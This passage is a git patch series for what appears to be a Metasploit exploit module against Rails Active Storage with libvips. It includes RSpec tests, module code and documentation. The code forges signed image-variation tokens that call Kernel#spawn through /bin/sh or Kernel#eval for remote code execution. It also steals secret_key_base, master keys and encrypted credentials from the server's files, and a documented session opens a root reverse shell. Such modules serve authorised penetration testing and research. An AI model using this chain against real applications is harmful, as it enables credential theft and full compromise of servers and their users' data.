read_layout.fetch(:artifact)) + end + + it 'matches every committed artifact to its read layout' do + read_layouts.each do |layout| + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-66066', layout.fetch(:artifact)) + expect(::File.file?(path)).to be(true) + + data = ::File.binread(path) + dimension = layout.fetch(:dimension) + data_columns = layout.fetch(:data_columns) + marker_counts = data_columns.times.map do |index| + record = [marker_base + index, dimension].pack('Q<2') + data.scan(record).length + end + + expect(layout.fetch(:capacity)).to eq(dimension * data_columns) + expect(data.scan(placeholder).length).to eq(data_columns) + expect(marker_counts).to all(eq(1)) + end + end + + it 'patches each external path and marker using the layout stride' do + expect(::File.file?(artifact_path)).to be(true) + + original = ::File.binread(artifact_path) + patched = exploit.send(:patch_hdf5_template, read_layout, external_path, external_offset) + replacement = external_path.b.ljust(placeholder.bytesize, "\x00") + + expect(patched.bytesize).to eq(original.bytesize) + expect(original.scan(placeholder).length).to eq(read_layout.fetch(:data_columns)) + expect(patched.scan(replacement).length).to eq(read_layout.fetch(:data_columns)) + + read_layout.fetch(:data_columns).times do |index| + marker = [marker_base + index].pack('Q<') + expect(original.scan(marker).length).to eq(1) + + marker_position = original.index(marker) + expect(marker_position).not_to be_nil + expect(patched.byteslice(marker_position, 8).unpack1('Q<')).to eq(external_offset + (index * read_layout.fetch(:dimension))) + expect(patched.byteslice(marker_position + 8, 8).unpack1('Q<')).to eq(read_layout.fetch(:dimension)) + end + + expect(::File.binread(artifact_path)).to eq(original) + end + + it 'rejects an artifact that does not match its layout' do + smaller_layout = read_layouts.find { |layout| layout[:dimension] == 16 } + invalid_layout = read_layout.merge(artifact: smaller_layout.fetch(:artifact)) + + expect { exploit.send(:patch_hdf5_template, invalid_layout, external_path, external_offset) }.to raise_error(data_error) + end + + it 'rejects invalid external paths and offsets' do + oversized_path = 'A' * (placeholder.bytesize + 1) + + expect { exploit.send(:patch_hdf5_template, read_layout, "bad\x00path", external_offset) }.to raise_error(flow_error) + expect { exploit.send(:patch_hdf5_template, read_layout, oversized_path, external_offset) }.to raise_error(flow_error) + expect { exploit.send(:patch_hdf5_template, read_layout, external_path, -1) }.to raise_error(flow_error) + end + end + + describe '#derive_verifier_key' do + let(:secret_key_base) { 'test-secret-key-base' } + + it 'matches the Rails SHA1 key generator vector' do + expected = [ + '5d7610692c916ec0b162d2c625aa48876a18b06667ff64b1660ce978d1e811fe' \ + '03831e2149f89eaf9a2d6be105f6736452a0f2022fc12abd770063eb8c045fb7' + ].pack('H*') + + expect(exploit.send(:derive_verifier_key, secret_key_base, 'sha1')).to eq(expected) + end + + it 'matches the Rails SHA256 key generator vector' do + expected = [ + '4c3df32bc45761c03c0260f7285d2122c71aa36f4c6c67859443c3bab954c417' \ + '70361c4d6eff8195a953a251c88effa2edb53bde3411d5ba13125cce6152606c' + ].pack('H*') + + expect(exploit.send(:derive_verifier_key, secret_key_base, 'sha256')).to eq(expected) + end + end + + describe '#forged_variation' do + let(:transformations) { exploit.send(:command_transformations, 'id') } + let(:verifier_key) { exploit.send(:derive_verifier_key, 'test-secret-key-base', 'sha256') } + + it 'uses a legacy JSON metadata envelope and standard padded Base64' do + serialized = exploit.send(:variation_payload, transformations, :json) + token = exploit.send(:forged_variation, verifier_key, serialized, 'sha1') + encoded, _separator, signature = token.rpartition('--') + + expect(encoded).to eq(Base64.strict_encode64(serialized)) + expect(signature).to eq(OpenSSL::HMAC.hexdigest('SHA1', verifier_key, encoded)) + + envelope = JSON.parse(Base64.strict_decode64(encoded)) + inner = Base64.strict_decode64(envelope.fetch('_rails').fetch('message')) + expect(JSON.parse(inner)).to eq(transformations) + end + + it 'serializes the same native transformations as a plain Marshal hash for legacy Rails defaults' do + serialized = exploit.send(:variation_payload, transformations, :marshal) + envelope = JSON.parse(serialized) + inner = Base64.strict_decode64(envelope.fetch('_rails').fetch('message')) + + expect(inner).to eq(Marshal.dump(transformations)) + expect(inner).to start_with("\x04\x08".b) + end + + it 'infers JSON, Marshal, MessagePack fallback, and verifier settings from signed blob IDs' do + modern_json = { _rails: { data: 47, pur: 'blob_id' } }.to_json + modern_encoded = Base64.urlsafe_encode64(modern_json, padding: false) + modern_token = "#{modern_encoded}--#{'a' * 64}" + + marshaled_blob_id = Marshal.dump(47) + legacy_marshal = { + _rails: { + message: Base64.strict_encode64(marshaled_blob_id), + exp: nil, + pur: 'blob_id' + } + }.to_json + legacy_token = "#{Base64.strict_encode64(legacy_marshal)}--#{'b' * 40}" + message_pack_token = "#{Base64.strict_encode64("\xcc\x80\x01".b)}--#{'c' * 96}" + + modern_info = exploit.send(:signed_token_info, modern_token) + legacy_info = exploit.send(:signed_token_info, legacy_token) + message_pack_info = exploit.send(:signed_token_info, message_pack_token) + + expect(modern_info.values_at(:message_serializer, :verifier_digest)).to eq([:json, 'sha256']) + expect(legacy_info.values_at(:message_serializer, :verifier_digest)).to eq([:marshal, 'sha1']) + expect(message_pack_info.values_at(:message_serializer, :verifier_digest)).to eq([:json, 'sha384']) + end + + it 'uses the send/spawn operation supported throughout image_processing 1.x' do + expect(transformations).to eq('send' => ['spawn', '/bin/sh', '-c', 'id']) + end + + it 'validates every supported key-generator digest against a signed token' do + encoded = Base64.strict_encode64({ _rails: { data: 47, pur: 'blob_id' } }.to_json) + + exploit.class::KEY_GENERATOR_DIGESTS.each do |digest| + verifier_key = exploit.send(:derive_verifier_key, 'test-secret-key-base', digest) + signature = OpenSSL::HMAC.hexdigest('SHA1', verifier_key, encoded) + info = exploit.send(:signed_token_info, "#{encoded}--#{signature}") + + expect(exploit.send(:key_generator_digest_for, 'test-secret-key-base', info)).to eq(digest) + end + end + end + + describe '#parse_environment' do + it 'parses NUL-delimited entries and preserves values containing equals signs' do + pixels = "SECRET_KEY_BASE=alpha=beta\x00EMPTY=\x00MALFORMED\x00DUPLICATE=first\x00DUPLICATE=last\x00".b + + expect(exploit.send(:parse_environment, pixels)).to eq( + { + 'SECRET_KEY_BASE' => 'alpha=beta', + 'EMPTY' => '', + 'DUPLICATE' => 'last' + } + ) + end + + it 'does not treat a key name embedded in another value as a complete entry' do + embedded = "OTHER=prefixSECRET_KEY_BASE=wrong\x00".b + anchored = embedded + "SECRET_KEY_BASE=right\x00".b + + expect(exploit.send(:environment_contains_complete_key?, embedded)).to be(false) + expect(exploit.send(:environment_contains_complete_key?, anchored)).to be(true) + end + end + + describe '#representation_paths' do + it 'extracts modern and legacy representation URLs from src and srcset attributes' do + doc = Nokogiri::HTML(<<~HTML) + + + + HTML + + expect(exploit.send(:representation_paths, doc)).to eq( + [ + '/rails/active_storage/representations/proxy/blob/variation/photo.png', + '/rails/active_storage/representations/blob/variation/legacy.png', + '/rails/active_storage/representations/redirect/blob/variation/avatar.png' + ] + ) + end + + it 'substitutes signed IDs and variations in modern and legacy routes' do + modern = '/rails/active_storage/representations/redirect/old_blob/old_variation/image.png' + legacy = '/rails/active_storage/representations/old_blob/old_variation/image.png' + + expect(exploit.send(:substitute_representation_blob, modern, 'new_blob', 'new.png')).to eq( + '/rails/active_storage/representations/redirect/new_blob/old_variation/new.png' + ) + expect(exploit.send(:substitute_variation_key, legacy, 'new_variation')).to eq( + '/rails/active_storage/representations/old_blob/new_variation/image.png' + ) + end + + it 'constructs both standard representation route layouts' do + expect(exploit.send(:standard_representation_path, 'blob', 'variation', 'safe.png')).to eq( + '/rails/active_storage/representations/redirect/blob/variation/safe.png' + ) + expect(exploit.send(:standard_representation_path, 'blob', 'variation', 'safe.png', route: :legacy)).to eq( + '/rails/active_storage/representations/blob/variation/safe.png' + ) + end + end + + describe '#verify_known_secret_context' do + it 'falls back to and retains the Rails 6.0 legacy representation route' do + context = { + signed_id: 'blob', + verifier_key: 'key', + verifier_digest: 'sha1', + message_serializer: :json + } + allow(exploit).to receive(:forged_representation_path) do |candidate, transformations| + expect(transformations).to eq('resize_to_limit' => [1, 1]) + "/#{candidate.fetch(:representation_route)}" + end + allow(exploit).to receive(:request_representation).with('/redirect').and_return(http_response(404)) + allow(exploit).to receive(:request_representation).with('/legacy').and_return(http_response(200, body: png_signature)) + + exploit.send(:verify_known_secret_context, context) + + expect(context[:representation_route]).to eq(:legacy) + end + end + + describe '#request_representation' do + before do + exploit.datastore['RHOST'] = 'app.example' + exploit.datastore['RPORT'] = 443 + exploit.datastore['SSL'] = true + exploit.datastore['VHOST'] = 'app.example' + exploit.datastore['COOKIE'] = 'session=application-secret' + exploit.datastore['HttpUsername'] = 'application-user' + exploit.datastore['HttpPassword'] = 'application-password' + end + + it 'keeps cross-origin redirects isolated when the chain returns to the application origin' do + application_redirect = http_response(302, location: 'https://storage.example/object?signature=public') + storage_redirect = http_response(302, location: 'https://app.example/rails/active_storage/object') + final_response = http_response(200) + sanitized_requests = [] + sanitized_responses = [storage_redirect, final_response] + + expect(exploit).to receive(:send_request_cgi).once do |options, timeout| + expect(options).to include( + 'method' => 'GET', + 'uri' => '/rails/active_storage/representations/redirect/blob/variation/image.png', + 'cookie' => 'session=application-secret' + ) + expect(timeout).to eq(20) + application_redirect + end + allow(exploit).to receive(:send_sanitized_request) do |options| + sanitized_requests << options + sanitized_responses.shift + end + + response = exploit.send( + :request_representation, + 'https://app.example/rails/active_storage/representations/redirect/blob/variation/image.png' + ) + + expect(response).to be(final_response) + expect(sanitized_requests.map { |request| request['rhost'] }).to eq(%w[storage.example app.example]) + sanitized_requests.each do |request| + expect(request.keys).not_to include('cookie', 'authorization', 'username', 'password') + expect(request.fetch('headers')).to eq('Accept' => 'image/png', 'Connection' => 'close') + end + end + + it 'rejects a redirect chain that exceeds the bounded hop count' do + redirect = http_response(302, location: '/rails/active_storage/representations/redirect/next') + limit = exploit.class::REPRESENTATION_REDIRECT_LIMIT + + expect(exploit).to receive(:send_request_cgi).exactly(limit + 1).times.and_return(redirect) + + expect do + exploit.send( + :request_representation, + 'https://app.example/rails/active_storage/representations/redirect/blob/variation/image.png' + ) + end.to raise_error(flow_error, /redirect limit/i) + end + end + + describe '#submit_safe_upload' do + before do + exploit.datastore['RHOST'] = 'app.example' + exploit.datastore['RPORT'] = 443 + exploit.datastore['SSL'] = true + exploit.datastore['VHOST'] = 'app.example' + exploit.datastore['SUBMITURI'] = '/uploads' + exploit.datastore['ATTACHMENT_FIELD'] = 'upload[avatar]' + end + + it 'follows a bounded same-origin redirect to the representation page' do + redirect = http_response(302, location: '/uploads/7') + final = http_response( + 200, + body: '' + ) + + expect(exploit).to receive(:send_request_cgi).ordered.and_return(redirect) + expect(exploit).to receive(:send_request_cgi).ordered do |options| + expect(options).to include('method' => 'GET', 'uri' => '/uploads/7') + final + end + + expect(exploit.send(:submit_safe_upload, 'csrf', 'signed')).to eq( + '/rails/active_storage/representations/blob/variation/image.png' + ) + end + + it 'rejects a cross-origin form redirect' do + redirect = http_response(302, location: 'https://storage.example/uploads/7') + allow(exploit).to receive(:send_request_cgi).and_return(redirect) + + expect { exploit.send(:submit_safe_upload, 'csrf', 'signed') }.to raise_error(flow_error, /different origin/i) + end + end + + describe '#send_sanitized_request' do + it 'uses a fresh client with cookies and application authentication disabled' do + exploit.datastore['COOKIE'] = 'session=application-secret' + exploit.datastore['HttpUsername'] = 'application-user' + exploit.datastore['HttpPassword'] = 'application-password' + logger = instance_double(Rex::Proto::Http::HttpLoggerSubscriber) + client = instance_double(Rex::Proto::Http::Client) + request = instance_double(Rex::Proto::Http::Request) + response = http_response(200) + request_options = nil + + allow(Rex::Proto::Http::HttpLoggerSubscriber).to receive(:new).and_return(logger) + expect(Rex::Proto::Http::Client).to receive(:new) do |*arguments, **keywords| + expect(arguments.values_at(0, 1, 3, 6, 7)).to eq(['storage.example', 443, true, '', '']) + expect(keywords).to include(kerberos_authenticator: nil, subscriber: logger) + client + end + expect(client).to receive(:set_config).with( + hash_including( + 'vhost' => 'storage.example', + 'ssl_server_name_indication' => 'storage.example', + 'raw_headers' => '' + ) + ) + expect(client).to receive(:request_cgi) do |options| + request_options = options + request + end + expect(client).to receive(:_send_recv).with(request, 20).and_return(response) + expect(client).to receive(:close) + + result = exploit.send( + :send_sanitized_request, + { + 'method' => 'GET', + 'uri' => '/object', + 'headers' => { 'Accept' => 'image/png' }, + 'cookie' => 'must-not-survive', + 'authorization' => 'must-not-survive', + 'username' => 'must-not-survive', + 'password' => 'must-not-survive', + 'rhost' => 'storage.example', + 'rport' => 443, + 'SSL' => true, + 'vhost' => 'storage.example' + } + ) + + expect(result).to be(response) + expect(request_options).to include( + 'cookie' => nil, + 'raw_headers' => '', + 'authorization' => nil, + 'username' => '', + 'password' => '', + 'preferred_auth' => 'None', + kerberos_authenticator: false + ) + expect(request_options.to_s).not_to include('application-secret', 'application-user', 'application-password', 'must-not-survive') + end + end + + describe '#trigger_variation' do + before do + exploit.datastore['RHOST'] = 'app.example' + exploit.datastore['RPORT'] = 443 + exploit.datastore['SSL'] = true + exploit.datastore['VHOST'] = 'app.example' + end + + it 'treats definitive client-side rejection statuses as trigger failures' do + [400, 401, 403, 404, 405, 414, 422, 429, 499].each do |status| + allow(exploit).to receive(:send_request_cgi).and_return(http_response(status)) + + expect do + exploit.send(:trigger_variation, '/rails/active_storage/representations/redirect/blob/forged/image.png') + end.to raise_error(trigger_error, /rejected with HTTP #{status}/) + end + end + + it 'allows an ambiguous server error because command execution may have occurred first' do + allow(exploit).to receive(:send_request_cgi).and_return(http_response(500)) + + expect do + exploit.send(:trigger_variation, '/rails/active_storage/representations/redirect/blob/forged/image.png') + end.not_to raise_error + end + end + + describe '#decrypt_rails_credentials' do + let(:master_key) { '00112233445566778899aabbccddeeff' } + let(:encrypted_credentials) do + 'L91+5oK6ok2VS0z8Yug1smZ69BUW0J3otX65PIRv40ZC4LM4PHsskwDI///UK9Olqw==' \ + '--AAECAwQFBgcICQoL--1BoUyMzI7zRVEcKrsUPuzA==' + end + let(:plaintext_hex) do + '040849222c2d2d2d0a7365637265745f6b65795f626173653a2063726564656e7469616c2d7365637265740a063a064554' + end + + it 'decrypts a Rails-compatible AES-128-GCM credentials envelope' do + plaintext = exploit.send(:decrypt_rails_credentials, encrypted_credentials, master_key) + + expect(plaintext).to eq([plaintext_hex].pack('H*')) + end + + it 'rejects a modified authentication tag' do + parts = encrypted_credentials.split('--') + tag = Base64.strict_decode64(parts.fetch(2)) + tag.setbyte(0, tag.getbyte(0) ^ 1) + parts[2] = Base64.strict_encode64(tag) + + expect(exploit.send(:decrypt_rails_credentials, parts.join('--'), master_key)).to be_nil + end + + it 'rejects malformed envelopes and invalid master keys' do + expect(exploit.send(:decrypt_rails_credentials, 'not--enough-parts', master_key)).to be_nil + expect(exploit.send(:decrypt_rails_credentials, '%%%--%%%--%%%', master_key)).to be_nil + expect(exploit.send(:decrypt_rails_credentials, encrypted_credentials, 'not-a-master-key')).to be_nil + end + end +end +# rubocop:enable Metrics/BlockLength From a44d610980ff8004ac13abb41267ca243658dfc7 Mon Sep 17 00:00:00 2001 From: Crypto-Cat Date: Fri, 31 Jul 2026 07:38:05 +0100 Subject: [PATCH 3/9] Add Ruby eval target and legacy secrets.yml recovery to Rails Vips RCE --- .../http/rails_activestorage_vips_rce.md | 74 ++++++++-- .../http/rails_activestorage_vips_rce.rb | 129 ++++++++++++++++-- .../http/rails_activestorage_vips_rce_spec.rb | 66 +++++++++ 3 files changed, 253 insertions(+), 16 deletions(-) diff --git a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md index 99fe7526c28d9..87f8ba6fc675f 100644 --- a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md +++ b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md @@ -80,6 +80,12 @@ Without `SECRET_KEY_BASE`, exploitation searches these sources: 1. `config/master.key` and environment-specific credential key files under `/proc/self/cwd/config/`. 1. `config/credentials.yml.enc` and environment-specific encrypted credentials. +1. The legacy `config/secrets.yml` (plaintext) and `config/secrets.yml.enc` + (encrypted with `config/secrets.yml.key` or `RAILS_MASTER_KEY`). Rails 6.0 + through 7.1 fall back to `Rails.application.secrets.secret_key_base`; Rails + 7.2 removed this path. Both files are environment-keyed, so the module reads + the `shared` and current-environment `secret_key_base`. Unrendered ERB values + such as `<%= ENV["SECRET_KEY_BASE"] %>` are skipped. Every `secret_key_base` candidate is verified against a valid signed Active Storage blob ID. Process environment data recovered during exploitation is @@ -87,21 +93,28 @@ stored as Metasploit loot. The RCE stage uses a signed Rails/ActiveSupport variation and ImageProcessing operation dispatch. ImageProcessing 1.2 through 1.14 accept a -transformation equivalent to: +transformation equivalent to one of: ```json {"send":["spawn","/bin/sh","-c",""]} +{"send":["eval",""]} ``` The ImageProcessing 1.x transformation dispatcher invokes the supplied operation name, using `send` in early releases and `public_send` in later ones. Naming that public operation `send` invokes inherited `Kernel#send`; its first -argument then invokes private `Kernel#spawn`. This starts the command -asynchronously and avoids blocking the representation worker. The same -`send`/`spawn` form works throughout the ImageProcessing 1.x versions relevant -to affected Rails applications; no version-specific direct-`spawn` fallback is -needed. ImageProcessing 2.0 and later block the untrusted libvips loader used -for the file-read stage and are outside this module's exploitable configuration. +argument then invokes private `Kernel#spawn` (command targets) or +`Kernel#eval` (the Ruby target). The `spawn` form starts the command +asynchronously and avoids blocking the representation worker. The `eval` form +runs a native Ruby payload directly inside the Rails worker with no dependency +on a Unix shell or any external command; the transformation then returns a +non-image value, so the representation request ends in an HTTP 500 after the +payload has already executed. Ruby payloads default `PrependFork` to true, so +the session forks out of the request worker. Both forms work throughout the +ImageProcessing 1.x versions relevant to affected Rails applications; no +version-specific direct-`spawn` fallback is needed. ImageProcessing 2.0 and +later block the untrusted libvips loader used for the file-read stage and are +outside this module's exploitable configuration. The module detects the ActiveSupport message format from a genuine signed blob ID. Modern Rails versions normally use JSON. Older affected versions can @@ -287,7 +300,8 @@ The form is available at `http://127.0.0.1:3003/`. 1. Run `set SUBMITURI /posts`. 1. Run `set ATTACHMENT_FIELD post[image]`. 1. Configure `LHOST` and any other options required by the default reverse Bash - payload, or select target 1 for the default Linux Meterpreter fetch payload. + payload, select target 1 for the default Linux Meterpreter fetch payload, or + select target 2 for a native Ruby payload that needs no shell on the target. 1. Run `check` to confirm the representation-based file read. 1. Run `run`. @@ -314,6 +328,18 @@ Uses a Linux fetch payload and stages it under `/tmp`. The default payload is have a compatible HTTP fetch utility such as `curl` or `wget`, and permit writes and execution in `FETCH_WRITABLE_DIR`. +### 2 (Ruby) + +Executes a native `ARCH_RUBY` payload through `Kernel#eval` inside the Rails +worker. The default payload is `ruby/shell_reverse_tcp`. This target needs +nothing on the host but the Ruby interpreter already running the application, so +it is the universal option for hardened or minimal deployments that ship no +shell and no external fetch utility. The command targets remain preferable when +a shell is available because they unlock the full `cmd/unix` payload catalogue, +including native Meterpreter via target 1. Ruby payloads default `PrependFork` +to true, so the session forks out of the request worker while the triggering +representation request returns an HTTP 500. + ## Options ### LANDINGURI @@ -479,3 +505,35 @@ msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -C getuid [*] Running 'getuid' on meterpreter session 1 (127.0.0.1) Server username: rails ``` + +### Rails 8.0.5 with the native Ruby (eval) target + +``` +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set target 2 +target => 2 +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set PAYLOAD ruby/shell_reverse_tcp +PAYLOAD => ruby/shell_reverse_tcp +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set SECRET_KEY_BASE rails-vips-lab-secret-key-base-0123456789abcdef +SECRET_KEY_BASE => rails-vips-lab-secret-key-base-0123456789abcdef +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf6 exploit(multi/http/rails_activestorage_vips_rce) > run + +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Using operator-supplied SECRET_KEY_BASE +[*] Detected SHA1 Active Support verifier signatures +[*] Detected the Active Support json message serializer +[*] Validated SHA256 key derivation against a signed blob ID +[!] The service is running, but could not be validated. Validated SECRET_KEY_BASE and a signed Active Storage representation; the arbitrary file read was not tested +[*] Triggering the ImageProcessing send/eval variation using a verifier key derived from operator-supplied SECRET_KEY_BASE +[*] Forged variation returned HTTP 500 +[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.4:49152) + +msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -c id +[*] Running 'id' on shell session 1 (127.0.0.1) +uid=0(root) gid=0(root) groups=0(root) +``` + +The HTTP 500 is expected: the `eval` operation returns a non-image value, so the +representation pipeline errors only after the Ruby payload has already run. diff --git a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb index d46f6d88c5255..3077911047a6e 100644 --- a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb +++ b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb @@ -213,11 +213,13 @@ def initialize(info = {}) files accessible to the Rails worker through a PNG representation response. The module recovers secret_key_base from the process environment, Rails local - secrets, or encrypted credentials. It then forges a serializer-compatible - variation whose ImageProcessing operation dispatch invokes Kernel#spawn with a - command payload. The command gadget does not require a Marshal object - gadget or MiniMagick. The original researchers have not disclosed their file-read - construction or RCE chain. + secrets, encrypted credentials, or the legacy secrets.yml(.enc) files. It then + forges a serializer-compatible variation whose ImageProcessing operation dispatch + invokes Kernel#spawn with a command payload, or Kernel#eval with a native Ruby + payload when the Ruby target is selected. Neither gadget requires a Marshal object + gadget or MiniMagick, and the Ruby target does not require a Unix shell or any + external command on the target. The original researchers have not disclosed their + file-read construction or RCE chain. The generic exfiltration transport requires a valid Active Storage representation path. It can reuse one from the application or create one through an application @@ -265,6 +267,25 @@ def initialize(info = {}) 'FETCH_WRITABLE_DIR' => '/tmp' } } + ], + # The command targets dispatch Kernel#spawn through /bin/sh and unlock the + # full cmd/unix payload catalogue, including native Meterpreter via the fetch + # target, so they remain the default. The Ruby target dispatches Kernel#eval + # with a native Ruby payload and needs nothing on the target but the Ruby + # interpreter already running the Rails worker, which makes it the universal + # option for hardened or minimal deployments that ship no shell. Ruby payloads + # default PrependFork to true, so the reverse shell forks out of the request + # worker while the representation request returns an error. + [ + 'Ruby', + { + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Type' => :ruby, + 'DefaultOptions' => { + 'PAYLOAD' => 'ruby/shell_reverse_tcp' + } + } ] ], 'DefaultTarget' => 0, @@ -347,8 +368,9 @@ def exploit context_from_recovered_secret(@read_context) end - print_status("Triggering the ImageProcessing send/spawn variation using #{context[:verifier_source]}") - transformations = command_transformations(payload.encoded) + transformations = variation_transformations + operation = transformations['send'].first + print_status("Triggering the ImageProcessing send/#{operation} variation using #{context[:verifier_source]}") path = forged_representation_path(context, transformations) trigger_variation(path) rescue ConfigError => e @@ -799,8 +821,80 @@ def recover_secret_key_base(context) end end + legacy_secret = recover_legacy_secrets(context, credential_environments, master_keys) + return legacy_secret if legacy_secret + keys = environments.flat_map { |_path, environment| environment.keys }.uniq.sort - raise TriggerError, "Could not recover SECRET_KEY_BASE from Rails local secrets, environment, or encrypted credentials (environment keys: #{keys.join(', ')})" + raise TriggerError, "Could not recover SECRET_KEY_BASE from Rails local secrets, environment, encrypted credentials, or legacy secrets.yml (environment keys: #{keys.join(', ')})" + end + + # Rails 6.0-7.1 fall back to Rails.application.secrets.secret_key_base, read from + # the plaintext config/secrets.yml or the encrypted config/secrets.yml.enc. The + # encrypted file uses ActiveSupport::MessageEncryptor with the same aes-128-gcm + # envelope as credentials, but serializes the YAML through Marshal and is keyed by + # config/secrets.yml.key or RAILS_MASTER_KEY. Both files are environment-keyed. + def recover_legacy_secrets(context, environments, master_keys) + plaintext_path = '/proc/self/cwd/config/secrets.yml' + bytes = try_read_text_file(context, plaintext_path, max_bytes: datastore['CredentialsMaxBytes'], filename: 'secrets.bmp') + if bytes + secret = extract_secret_key_base_from_secrets_yaml(trim_external_bytes(bytes), environments) + if secret + candidate = validated_secret_candidate(secret, plaintext_path, context[:representation][:signed_id]) + return candidate if candidate + end + end + + encrypted_path = '/proc/self/cwd/config/secrets.yml.enc' + encrypted = try_read_text_file(context, encrypted_path, max_bytes: datastore['CredentialsMaxBytes'], filename: 'secrets_enc.bmp') + return nil unless encrypted + + encrypted = trim_external_bytes(encrypted) + legacy_secrets_keys(context, master_keys).each do |key, key_source| + plaintext = decrypt_rails_credentials(encrypted, key) + next unless plaintext + + secret = extract_secret_key_base_from_secrets_yaml(unwrap_marshaled_string(plaintext), environments) + next unless secret + + candidate = validated_secret_candidate(secret, "#{encrypted_path} using #{key_source}", context[:representation][:signed_id]) + return candidate if candidate + end + nil + end + + def legacy_secrets_keys(context, master_keys) + keys = master_keys.dup + secrets_key_path = '/proc/self/cwd/config/secrets.yml.key' + bytes = try_read_text_file(context, secrets_key_path, max_bytes: 128, filename: 'secrets_key.bmp') + if bytes + key = trim_external_bytes(bytes) + keys << [key, secrets_key_path] if valid_master_key?(key) + end + keys.uniq(&:first) + end + + def extract_secret_key_base_from_secrets_yaml(yaml, environments) + document = YAML.safe_load( + yaml, + permitted_classes: [], + permitted_symbols: [], + aliases: false + ) + return nil unless document.is_a?(Hash) + + sections = ['shared', *environments].uniq + candidates = sections.filter_map { |section| document[section] if document[section].is_a?(Hash) } + candidates << document + candidates.each do |section| + secret = section['secret_key_base'] + next unless secret.is_a?(String) && secret.present? + next if secret.include?('<%') # unrendered ERB such as <%= ENV["SECRET_KEY_BASE"] %> + + return validate_secret_key_base(secret) + end + nil + rescue Psych::Exception + nil end def environment_contains_complete_key?(bytes) @@ -1020,12 +1114,31 @@ def detect_message_serializer(serialized) nil end + def variation_transformations + case target['Type'] + when :ruby + ruby_transformations(payload.encoded) + else + command_transformations(payload.encoded) + end + end + def command_transformations(command) { 'send' => ['spawn', '/bin/sh', '-c', command] } end + # The Ruby target dispatches ImageProcessing::Vips#send('eval', ruby), which + # reaches Kernel#eval and runs the payload directly in the Rails worker. The + # transformation then returns a non-image value, so the representation request + # ends in an error after the payload has already executed. + def ruby_transformations(ruby) + { + 'send' => ['eval', ruby] + } + end + def variation_payload(transformations, serializer) message = if serializer == :marshal Marshal.dump(transformations) diff --git a/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb b/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb index 72370dc64c7cc..27f6994ecb61d 100644 --- a/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb +++ b/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb @@ -400,6 +400,10 @@ def striped_pixels(layout, source) expect(transformations).to eq('send' => ['spawn', '/bin/sh', '-c', 'id']) end + it 'uses the send/eval operation for the native Ruby target' do + expect(exploit.send(:ruby_transformations, 'RUBY_PAYLOAD')).to eq('send' => ['eval', 'RUBY_PAYLOAD']) + end + it 'validates every supported key-generator digest against a signed token' do encoded = Base64.strict_encode64({ _rails: { data: 47, pur: 'blob_id' } }.to_json) @@ -713,5 +717,67 @@ def striped_pixels(layout, source) expect(exploit.send(:decrypt_rails_credentials, encrypted_credentials, 'not-a-master-key')).to be_nil end end + + describe 'legacy secrets.yml recovery' do + let(:environments) { %w[production staging development test] } + let(:secrets_key) { '000102030405060708090a0b0c0d0e0f' } + + # Rails::Secrets encrypts secrets.yml.enc with ActiveSupport::MessageEncryptor + # (aes-128-gcm, Marshal serializer, no purpose), producing the same padded + # Base64 ciphertext--iv--tag envelope wrapped around a Marshal string. + def secrets_yml_enc(yaml, key_hex) + cipher = OpenSSL::Cipher.new('aes-128-gcm') + cipher.encrypt + cipher.key = [key_hex].pack('H*') + iv = "\x00".b * 12 + cipher.iv = iv + cipher.auth_data = '' + encrypted = cipher.update(Marshal.dump(yaml)) + cipher.final + [encrypted, iv, cipher.auth_tag].map { |part| Base64.strict_encode64(part) }.join('--') + end + + it 'decrypts and extracts secret_key_base from an encrypted secrets.yml.enc' do + yaml = "shared:\n a: 1\nproduction:\n secret_key_base: #{'c' * 128}\n" + envelope = secrets_yml_enc(yaml, secrets_key) + + plaintext = exploit.send(:decrypt_rails_credentials, envelope, secrets_key) + unwrapped = exploit.send(:unwrap_marshaled_string, plaintext) + + expect(exploit.send(:extract_secret_key_base_from_secrets_yaml, unwrapped, environments)).to eq('c' * 128) + end + + it 'reads environment-keyed plaintext secrets.yml and skips unrendered ERB' do + yaml = "production:\n secret_key_base: <%= ENV[\"SECRET_KEY_BASE\"] %>\ndevelopment:\n secret_key_base: #{'d' * 128}\n" + + expect(exploit.send(:extract_secret_key_base_from_secrets_yaml, yaml, environments)).to eq('d' * 128) + end + + it 'resolves the sections in shared-then-environment order' do + yaml = "production:\n secret_key_base: #{'p' * 128}\ndevelopment:\n secret_key_base: #{'d' * 128}\n" + + expect(exploit.send(:extract_secret_key_base_from_secrets_yaml, yaml, environments)).to eq('p' * 128) + end + + it 'returns nil for documents with no usable secret and for malformed YAML' do + expect(exploit.send(:extract_secret_key_base_from_secrets_yaml, "production:\n a: 1\n", environments)).to be_nil + expect(exploit.send(:extract_secret_key_base_from_secrets_yaml, '!!invalid: [', environments)).to be_nil + end + end + + describe '#variation_transformations' do + before { allow(exploit).to receive(:payload).and_return(instance_double(Msf::Payload, encoded: 'PAYLOAD')) } + + it 'dispatches Kernel#spawn for the default command target' do + exploit.datastore['TARGET'] = 0 + + expect(exploit.send(:variation_transformations)).to eq('send' => ['spawn', '/bin/sh', '-c', 'PAYLOAD']) + end + + it 'dispatches Kernel#eval for the native Ruby target' do + exploit.datastore['TARGET'] = 2 + + expect(exploit.send(:variation_transformations)).to eq('send' => ['eval', 'PAYLOAD']) + end + end end # rubocop:enable 